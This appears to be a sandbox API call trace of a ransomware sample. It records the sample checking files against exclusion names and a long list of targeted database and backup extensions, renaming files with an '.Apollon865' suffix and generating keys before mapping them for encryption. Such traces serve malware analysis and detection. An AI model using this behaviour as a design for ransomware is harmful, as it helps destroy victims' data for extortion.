	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.093] lstrlenW (lpString="rodx") returned 4
	[0059.093] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.093] lstrlenW (lpString="rpd") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.094] lstrlenW (lpString="rsd") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.094] lstrlenW (lpString="sas7bdat") returned 8
	[0059.094] lstrcmpiW (lpString1="cock.jpg", lpString2="sas7bdat") returned -1
	[0059.094] lstrlenW (lpString="sbf") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.094] lstrlenW (lpString="scx") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.094] lstrlenW (lpString="sdb") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.094] lstrlenW (lpString="sdc") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.094] lstrlenW (lpString="sdf") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.094] lstrlenW (lpString="sis") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.094] lstrlenW (lpString="spq") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.094] lstrlenW (lpString="te") returned 2
	[0059.094] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.094] lstrlenW (lpString="teacher") returned 7
	[0059.094] lstrcmpiW (lpString1="ock.jpg", lpString2="teacher") returned -1
	[0059.094] lstrlenW (lpString="tmd") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.094] lstrlenW (lpString="tps") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.094] lstrlenW (lpString="trc") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.094] lstrlenW (lpString="trc") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.094] lstrlenW (lpString="trm") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.094] lstrlenW (lpString="udb") returned 3
	[0059.094] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.095] lstrlenW (lpString="udl") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.095] lstrlenW (lpString="usr") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.095] lstrlenW (lpString="v12") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.095] lstrlenW (lpString="vis") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.095] lstrlenW (lpString="vpd") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.095] lstrlenW (lpString="vvv") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.095] lstrlenW (lpString="wdb") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.095] lstrlenW (lpString="wmdb") returned 4
	[0059.095] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.095] lstrlenW (lpString="wrk") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.095] lstrlenW (lpString="xdb") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.095] lstrlenW (lpString="xld") returned 3
	[0059.095] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.095] lstrlenW (lpString="xmlff") returned 5
	[0059.095] lstrcmpiW (lpString1="k.jpg", lpString2="xmlff") returned -1
	[0059.095] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.Apollon865") returned 87
	[0059.095] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.096] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.096] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5115) returned 1
	[0059.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.097] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.097] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.097] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.097] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x14c
	[0059.099] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000
	[0059.100] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.101] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.101] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.102] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.102] CloseHandle (hObject=0x14c) returned 1
	[0059.102] CloseHandle (hObject=0x150) returned 1
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.102] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0059.102] lstrcmpiW (lpString1="Roses.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.102] lstrcmpiW (lpString1="Roses.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.102] lstrcmpiW (lpString1="Roses.htm", lpString2=".") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="..") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="windows") returned -1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="bootmgr") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="temp") returned -1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="pagefile.sys") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="boot") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="ids.txt") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="ntuser.dat") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="perflogs") returned 1
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2="MSBuild") returned 1
	[0059.103] lstrlenW (lpString="Roses.htm") returned 9
	[0059.103] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned 76
	[0059.103] lstrcpyW (in: lpString1=0x119e68a, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm"
	[0059.103] lstrlenW (lpString="Roses.htm") returned 9
	[0059.103] lstrlenW (lpString="Apollon865") returned 10
	[0059.103] lstrlenW (lpString=".dll") returned 4
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2=".dll") returned 1
	[0059.103] lstrlenW (lpString=".lnk") returned 4
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2=".lnk") returned 1
	[0059.103] lstrlenW (lpString=".ini") returned 4
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2=".ini") returned 1
	[0059.103] lstrlenW (lpString=".sys") returned 4
	[0059.103] lstrcmpiW (lpString1="Roses.htm", lpString2=".sys") returned 1
	[0059.103] lstrlenW (lpString="Roses.htm") returned 9
	[0059.103] lstrlenW (lpString="bak") returned 3
	[0059.103] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.103] lstrlenW (lpString="ba_") returned 3
	[0059.103] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.104] lstrlenW (lpString="dbb") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.104] lstrlenW (lpString="vmdk") returned 4
	[0059.104] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.104] lstrlenW (lpString="rar") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.104] lstrlenW (lpString="zip") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.104] lstrlenW (lpString="tgz") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.104] lstrlenW (lpString="vbox") returned 4
	[0059.104] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.104] lstrlenW (lpString="vdi") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.104] lstrlenW (lpString="vhd") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.104] lstrlenW (lpString="vhdx") returned 4
	[0059.104] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.104] lstrlenW (lpString="avhd") returned 4
	[0059.104] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.104] lstrlenW (lpString="db") returned 2
	[0059.104] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.104] lstrlenW (lpString="db2") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.104] lstrlenW (lpString="db3") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.104] lstrlenW (lpString="dbf") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.104] lstrlenW (lpString="mdf") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.104] lstrlenW (lpString="mdb") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.104] lstrlenW (lpString="sql") returned 3
	[0059.104] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.104] lstrlenW (lpString="sqlite") returned 6
	[0059.105] lstrcmpiW (lpString1="es.htm", lpString2="sqlite") returned -1
	[0059.105] lstrlenW (lpString="sqlite3") returned 7
	[0059.105] lstrcmpiW (lpString1="ses.htm", lpString2="sqlite3") returned -1
	[0059.105] lstrlenW (lpString="sqlitedb") returned 8
	[0059.105] lstrcmpiW (lpString1="oses.htm", lpString2="sqlitedb") returned -1
	[0059.105] lstrlenW (lpString="xml") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.105] lstrlenW (lpString="$er") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.105] lstrlenW (lpString="4dd") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.105] lstrlenW (lpString="4dl") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.105] lstrlenW (lpString="^^^") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.105] lstrlenW (lpString="abs") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.105] lstrlenW (lpString="abx") returned 3
	[0059.105] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.105] lstrlenW (lpString="accdb") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0059.105] lstrlenW (lpString="accdc") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0059.105] lstrlenW (lpString="accde") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0059.105] lstrlenW (lpString="accdr") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0059.105] lstrlenW (lpString="accdt") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0059.105] lstrlenW (lpString="accdw") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0059.105] lstrlenW (lpString="accft") returned 5
	[0059.105] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0059.106] lstrlenW (lpString="adb") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.106] lstrlenW (lpString="adb") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.106] lstrlenW (lpString="ade") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.106] lstrlenW (lpString="adf") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.106] lstrlenW (lpString="adn") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.106] lstrlenW (lpString="adp") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.106] lstrlenW (lpString="alf") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.106] lstrlenW (lpString="ask") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.106] lstrlenW (lpString="btr") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.106] lstrlenW (lpString="cat") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.106] lstrlenW (lpString="cdb") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.106] lstrlenW (lpString="ckp") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.106] lstrlenW (lpString="cma") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.106] lstrlenW (lpString="cpd") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.106] lstrlenW (lpString="dacpac") returned 6
	[0059.106] lstrcmpiW (lpString1="es.htm", lpString2="dacpac") returned 1
	[0059.106] lstrlenW (lpString="dad") returned 3
	[0059.106] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.106] lstrlenW (lpString="dadiagrams") returned 10
	[0059.106] lstrlenW (lpString="daschema") returned 8
	[0059.107] lstrcmpiW (lpString1="oses.htm", lpString2="daschema") returned 1
	[0059.107] lstrlenW (lpString="db-journal") returned 10
	[0059.107] lstrlenW (lpString="db-shm") returned 6
	[0059.107] lstrcmpiW (lpString1="es.htm", lpString2="db-shm") returned 1
	[0059.107] lstrlenW (lpString="db-wal") returned 6
	[0059.107] lstrcmpiW (lpString1="es.htm", lpString2="db-wal") returned 1
	[0059.107] lstrlenW (lpString="dbc") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.107] lstrlenW (lpString="dbs") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.107] lstrlenW (lpString="dbt") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.107] lstrlenW (lpString="dbv") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.107] lstrlenW (lpString="dbx") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.107] lstrlenW (lpString="dcb") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.107] lstrlenW (lpString="dct") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.107] lstrlenW (lpString="dcx") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.107] lstrlenW (lpString="ddl") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.107] lstrlenW (lpString="dlis") returned 4
	[0059.107] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.107] lstrlenW (lpString="dp1") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.107] lstrlenW (lpString="dqy") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.107] lstrlenW (lpString="dsk") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.107] lstrlenW (lpString="dsn") returned 3
	[0059.107] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.107] lstrlenW (lpString="dtsx") returned 4
	[0059.107] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.108] lstrlenW (lpString="dxl") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.108] lstrlenW (lpString="eco") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.108] lstrlenW (lpString="ecx") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.108] lstrlenW (lpString="edb") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.108] lstrlenW (lpString="epim") returned 4
	[0059.108] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.108] lstrlenW (lpString="fcd") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.108] lstrlenW (lpString="fdb") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.108] lstrlenW (lpString="fic") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.108] lstrlenW (lpString="flexolibrary") returned 12
	[0059.108] lstrlenW (lpString="fm5") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.108] lstrlenW (lpString="fmp") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.108] lstrlenW (lpString="fmp12") returned 5
	[0059.108] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0059.108] lstrlenW (lpString="fmpsl") returned 5
	[0059.108] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0059.108] lstrlenW (lpString="fol") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.108] lstrlenW (lpString="fp3") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.108] lstrlenW (lpString="fp4") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.108] lstrlenW (lpString="fp5") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.108] lstrlenW (lpString="fp7") returned 3
	[0059.108] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.109] lstrlenW (lpString="fpt") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.109] lstrlenW (lpString="frm") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.109] lstrlenW (lpString="gdb") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.109] lstrlenW (lpString="gdb") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.109] lstrlenW (lpString="grdb") returned 4
	[0059.109] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.109] lstrlenW (lpString="gwi") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.109] lstrlenW (lpString="hdb") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.109] lstrlenW (lpString="his") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.109] lstrlenW (lpString="ib") returned 2
	[0059.109] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.109] lstrlenW (lpString="idb") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.109] lstrlenW (lpString="ihx") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.109] lstrlenW (lpString="itdb") returned 4
	[0059.109] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.109] lstrlenW (lpString="itw") returned 3
	[0059.109] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.110] lstrlenW (lpString="jet") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.110] lstrlenW (lpString="jtx") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.110] lstrlenW (lpString="kdb") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.110] lstrlenW (lpString="kexi") returned 4
	[0059.110] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.110] lstrlenW (lpString="kexic") returned 5
	[0059.110] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0059.110] lstrlenW (lpString="kexis") returned 5
	[0059.110] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0059.110] lstrlenW (lpString="lgc") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.110] lstrlenW (lpString="lwx") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.110] lstrlenW (lpString="maf") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.110] lstrlenW (lpString="maq") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.110] lstrlenW (lpString="mar") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.110] lstrlenW (lpString="marshal") returned 7
	[0059.110] lstrcmpiW (lpString1="ses.htm", lpString2="marshal") returned 1
	[0059.110] lstrlenW (lpString="mas") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.110] lstrlenW (lpString="mav") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.110] lstrlenW (lpString="maw") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.110] lstrlenW (lpString="mdbhtml") returned 7
	[0059.110] lstrcmpiW (lpString1="ses.htm", lpString2="mdbhtml") returned 1
	[0059.110] lstrlenW (lpString="mdn") returned 3
	[0059.110] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.111] lstrlenW (lpString="mdt") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.111] lstrlenW (lpString="mfd") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.111] lstrlenW (lpString="mpd") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.111] lstrlenW (lpString="mrg") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.111] lstrlenW (lpString="mud") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.111] lstrlenW (lpString="mwb") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.111] lstrlenW (lpString="myd") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.111] lstrlenW (lpString="ndf") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.111] lstrlenW (lpString="nnt") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.111] lstrlenW (lpString="nrmlib") returned 6
	[0059.111] lstrcmpiW (lpString1="es.htm", lpString2="nrmlib") returned -1
	[0059.111] lstrlenW (lpString="ns2") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.111] lstrlenW (lpString="ns3") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.111] lstrlenW (lpString="ns4") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.111] lstrlenW (lpString="nsf") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.111] lstrlenW (lpString="nv") returned 2
	[0059.111] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.111] lstrlenW (lpString="nv2") returned 3
	[0059.111] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.111] lstrlenW (lpString="nwdb") returned 4
	[0059.111] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.111] lstrlenW (lpString="nyf") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.112] lstrlenW (lpString="odb") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.112] lstrlenW (lpString="odb") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.112] lstrlenW (lpString="oqy") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.112] lstrlenW (lpString="ora") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
